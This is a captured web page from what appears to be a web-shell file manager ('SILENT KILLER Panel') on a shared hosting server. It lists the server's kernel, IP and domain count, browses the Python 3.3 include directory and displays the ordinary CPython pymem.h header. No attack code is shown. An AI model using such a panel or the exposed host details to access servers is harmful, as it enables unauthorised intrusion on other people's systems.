SILENT KILLERPanel

Current Path: > > opt > > alt > python33 > include > python3.3m > >


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt//alt/python33/include/python3.3m//

NameTypeSizeLast ModifiedActions
Python-ast.h File 19321 bytes September 19 2017 07:38:53.
Python.h File 2836 bytes September 19 2017 07:32:02.
abstract.h File 42607 bytes September 19 2017 07:32:02.
accu.h File 1016 bytes September 19 2017 07:32:02.
asdl.h File 1092 bytes September 19 2017 07:32:02.
ast.h File 344 bytes September 19 2017 07:32:02.
bitset.h File 792 bytes September 19 2017 07:32:02.
bltinmodule.h File 264 bytes September 19 2017 07:32:02.
boolobject.h File 886 bytes September 19 2017 07:32:02.
bytearrayobject.h File 2001 bytes September 19 2017 07:32:02.
bytes_methods.h File 2025 bytes September 19 2017 07:32:02.
bytesobject.h File 4891 bytes September 19 2017 07:32:02.
cellobject.h File 701 bytes September 19 2017 07:32:02.
ceval.h File 7194 bytes September 19 2017 07:32:02.
classobject.h File 1666 bytes September 19 2017 07:32:02.
code.h File 4227 bytes September 19 2017 07:32:02.
codecs.h File 6478 bytes September 19 2017 07:32:02.
compile.h File 1663 bytes September 19 2017 07:32:02.
complexobject.h File 1954 bytes September 19 2017 07:32:02.
datetime.h File 8542 bytes September 19 2017 07:32:02.
descrobject.h File 2913 bytes September 19 2017 07:32:02.
dictobject.h File 4972 bytes September 19 2017 07:32:02.
dtoa.h File 458 bytes September 19 2017 07:32:02.
dynamic_annotations.h File 22471 bytes September 19 2017 07:32:02.
enumobject.h File 253 bytes September 19 2017 07:32:02.
errcode.h File 1497 bytes September 19 2017 07:32:02.
eval.h File 597 bytes September 19 2017 07:32:02.
fileobject.h File 1767 bytes September 19 2017 07:32:02.
fileutils.h File 1086 bytes September 19 2017 07:32:02.
floatobject.h File 4641 bytes September 19 2017 07:32:02.
frameobject.h File 3372 bytes September 19 2017 07:32:02.
funcobject.h File 3771 bytes September 19 2017 07:32:02.
genobject.h File 1080 bytes September 19 2017 07:32:02.
graminit.h File 1873 bytes September 19 2017 07:32:02.
grammar.h File 2021 bytes September 19 2017 07:32:02.
import.h File 3883 bytes September 19 2017 07:32:02.
intrcheck.h File 460 bytes September 19 2017 07:32:02.
iterobject.h File 567 bytes September 19 2017 07:32:02.
listobject.h File 2834 bytes September 19 2017 07:32:02.
longintrepr.h File 3997 bytes September 19 2017 07:32:02.
longobject.h File 7733 bytes September 19 2017 07:32:02.
marshal.h File 743 bytes September 19 2017 07:32:02.
memoryobject.h File 2872 bytes September 19 2017 07:32:02.
metagrammar.h File 253 bytes September 19 2017 07:32:02.
methodobject.h File 3307 bytes September 19 2017 07:32:02.
modsupport.h File 4867 bytes September 19 2017 07:32:02.
moduleobject.h File 1565 bytes September 19 2017 07:32:02.
namespaceobject.h File 297 bytes September 19 2017 07:32:02.
node.h File 996 bytes September 19 2017 07:32:02.
object.h File 37978 bytes September 19 2017 07:32:02.
objimpl.h File 13389 bytes September 19 2017 07:32:02.
opcode.h File 5208 bytes September 19 2017 07:32:02.
osdefs.h File 986 bytes September 19 2017 07:32:02.
parsetok.h File 2283 bytes September 19 2017 07:32:02.
patchlevel.h File 1128 bytes September 19 2017 07:32:02.
pgen.h File 253 bytes September 19 2017 07:32:02.
pgenheaders.h File 1144 bytes September 19 2017 07:32:02.
py_curses.h File 4175 bytes September 19 2017 07:32:02.
pyarena.h File 2744 bytes September 19 2017 07:32:02.
pyatomic.h File 5944 bytes September 19 2017 07:32:02.
pycapsule.h File 1726 bytes September 19 2017 07:32:02.
pyconfig-64.h File 42427 bytes April 17 2024 16:56:51.
pyconfig.h File 162 bytes April 17 2024 16:58:11.
pyctype.h File 1320 bytes September 19 2017 07:32:02.
pydebug.h File 986 bytes September 19 2017 07:32:02.
pyerrors.h File 14685 bytes September 19 2017 07:32:02.
pyexpat.h File 2340 bytes September 19 2017 07:32:02.
pyfpe.h File 8489 bytes September 19 2017 07:32:02.
pygetopt.h File 388 bytes September 19 2017 07:32:02.
pymacconfig.h File 2988 bytes September 19 2017 07:32:02.
pymacro.h File 2685 bytes September 19 2017 07:32:02.
pymath.h File 6412 bytes September 19 2017 07:32:02.
pymem.h File 4698 bytes September 19 2017 07:32:02.
pyport.h File 31043 bytes September 19 2017 07:32:02.
pystate.h File 7757 bytes September 19 2017 07:32:02.
pystrcmp.h File 436 bytes September 19 2017 07:32:02.
pystrtod.h File 1276 bytes September 19 2017 07:32:02.
pythonrun.h File 8997 bytes September 19 2017 07:32:02.
pythread.h File 3036 bytes September 19 2017 07:32:02.
pytime.h File 2706 bytes September 19 2017 07:32:02.
rangeobject.h File 629 bytes September 19 2017 07:32:02.
setobject.h File 3291 bytes September 19 2017 07:32:02.
sliceobject.h File 1380 bytes September 19 2017 07:32:02.
structmember.h File 2068 bytes September 19 2017 07:32:02.
structseq.h File 1217 bytes September 19 2017 07:32:02.
symtable.h File 4688 bytes September 19 2017 07:32:02.
sysmodule.h File 1111 bytes September 19 2017 07:32:02.
token.h File 1882 bytes September 19 2017 07:32:02.
traceback.h File 2145 bytes September 19 2017 07:32:02.
tupleobject.h File 2444 bytes September 19 2017 07:32:02.
typeslots.h File 1997 bytes September 19 2017 07:32:02.
ucnhash.h File 1057 bytes September 19 2017 07:32:02.
unicodeobject.h File 76194 bytes September 19 2017 07:32:02.
warnings.h File 953 bytes September 19 2017 07:32:02.
weakrefobject.h File 2866 bytes September 19 2017 07:32:02.

Reading File: //opt//alt/python33/include/python3.3m///pymem.h

/* The PyMem_ family:  low-level memory allocation interfaces.
   See objimpl.h for the PyObject_ memory family.
*/

#ifndef Py_PYMEM_H
#define Py_PYMEM_H

#include "pyport.h"

#ifdef __cplusplus
extern "C" {
#endif

/* BEWARE:

   Each interface exports both functions and macros.  Extension modules should
   use the functions, to ensure binary compatibility across Python versions.
   Because the Python implementation is free to change internal details, and
   the macros may (or may not) expose details for speed, if you do use the
   macros you must recompile your extensions with each Python release.

   Never mix calls to PyMem_ with calls to the platform malloc/realloc/
   calloc/free.  For example, on Windows different DLLs may end up using
   different heaps, and if you use PyMem_Malloc you'll get the memory from the
   heap used by the Python DLL; it could be a disaster if you free()'ed that
   directly in your own extension.  Using PyMem_Free instead ensures Python
   can return the memory to the proper heap.  As another example, in
   PYMALLOC_DEBUG mode, Python wraps all calls to all PyMem_ and PyObject_
   memory functions in special debugging wrappers that add additional
   debugging info to dynamic memory blocks.  The system routines have no idea
   what to do with that stuff, and the Python wrappers have no idea what to do
   with raw blocks obtained directly by the system routines then.

   The GIL must be held when using these APIs.
*/

/*
 * Raw memory interface
 * ====================
 */

/* Functions

   Functions supplying platform-independent semantics for malloc/realloc/
   free.  These functions make sure that allocating 0 bytes returns a distinct
   non-NULL pointer (whenever possible -- if we're flat out of memory, NULL
   may be returned), even if the platform malloc and realloc don't.
   Returned pointers must be checked for NULL explicitly.  No action is
   performed on failure (no exception is set, no warning is printed, etc).
*/

PyAPI_FUNC(void *) PyMem_Malloc(size_t);
PyAPI_FUNC(void *) PyMem_Realloc(void *, size_t);
PyAPI_FUNC(void) PyMem_Free(void *);

/* Starting from Python 1.6, the wrappers Py_{Malloc,Realloc,Free} are
   no longer supported. They used to call PyErr_NoMemory() on failure. */

/* Macros. */
#ifdef PYMALLOC_DEBUG
/* Redirect all memory operations to Python's debugging allocator. */
#define PyMem_MALLOC		_PyMem_DebugMalloc
#define PyMem_REALLOC		_PyMem_DebugRealloc
#define PyMem_FREE		_PyMem_DebugFree

#else	/* ! PYMALLOC_DEBUG */

/* PyMem_MALLOC(0) means malloc(1). Some systems would return NULL
   for malloc(0), which would be treated as an error. Some platforms
   would return a pointer with no memory behind it, which would break
   pymalloc. To solve these problems, allocate an extra byte. */
/* Returns NULL to indicate error if a negative size or size larger than
   Py_ssize_t can represent is supplied.  Helps prevents security holes. */
#define PyMem_MALLOC(n)		((size_t)(n) > (size_t)PY_SSIZE_T_MAX ? NULL \
				: malloc((n) ? (n) : 1))
#define PyMem_REALLOC(p, n)	((size_t)(n) > (size_t)PY_SSIZE_T_MAX  ? NULL \
				: realloc((p), (n) ? (n) : 1))
#define PyMem_FREE		free

#endif	/* PYMALLOC_DEBUG */

/*
 * Type-oriented memory interface
 * ==============================
 *
 * Allocate memory for n objects of the given type.  Returns a new pointer
 * or NULL if the request was too large or memory allocation failed.  Use
 * these macros rather than doing the multiplication yourself so that proper
 * overflow checking is always done.
 */

#define PyMem_New(type, n) \
  ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL :	\
	( (type *) PyMem_Malloc((n) * sizeof(type)) ) )
#define PyMem_NEW(type, n) \
  ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL :	\
	( (type *) PyMem_MALLOC((n) * sizeof(type)) ) )

/*
 * The value of (p) is always clobbered by this macro regardless of success.
 * The caller MUST check if (p) is NULL afterwards and deal with the memory
 * error if so.  This means the original value of (p) MUST be saved for the
 * caller's memory error handler to not lose track of it.
 */
#define PyMem_Resize(p, type, n) \
  ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL :	\
	(type *) PyMem_Realloc((p), (n) * sizeof(type)) )
#define PyMem_RESIZE(p, type, n) \
  ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL :	\
	(type *) PyMem_REALLOC((p), (n) * sizeof(type)) )

/* PyMem{Del,DEL} are left over from ancient days, and shouldn't be used
 * anymore.  They're just confusing aliases for PyMem_{Free,FREE} now.
 */
#define PyMem_Del		PyMem_Free
#define PyMem_DEL		PyMem_FREE

#ifdef __cplusplus
}
#endif

#endif /* !Py_PYMEM_H */

SILENT KILLER Tool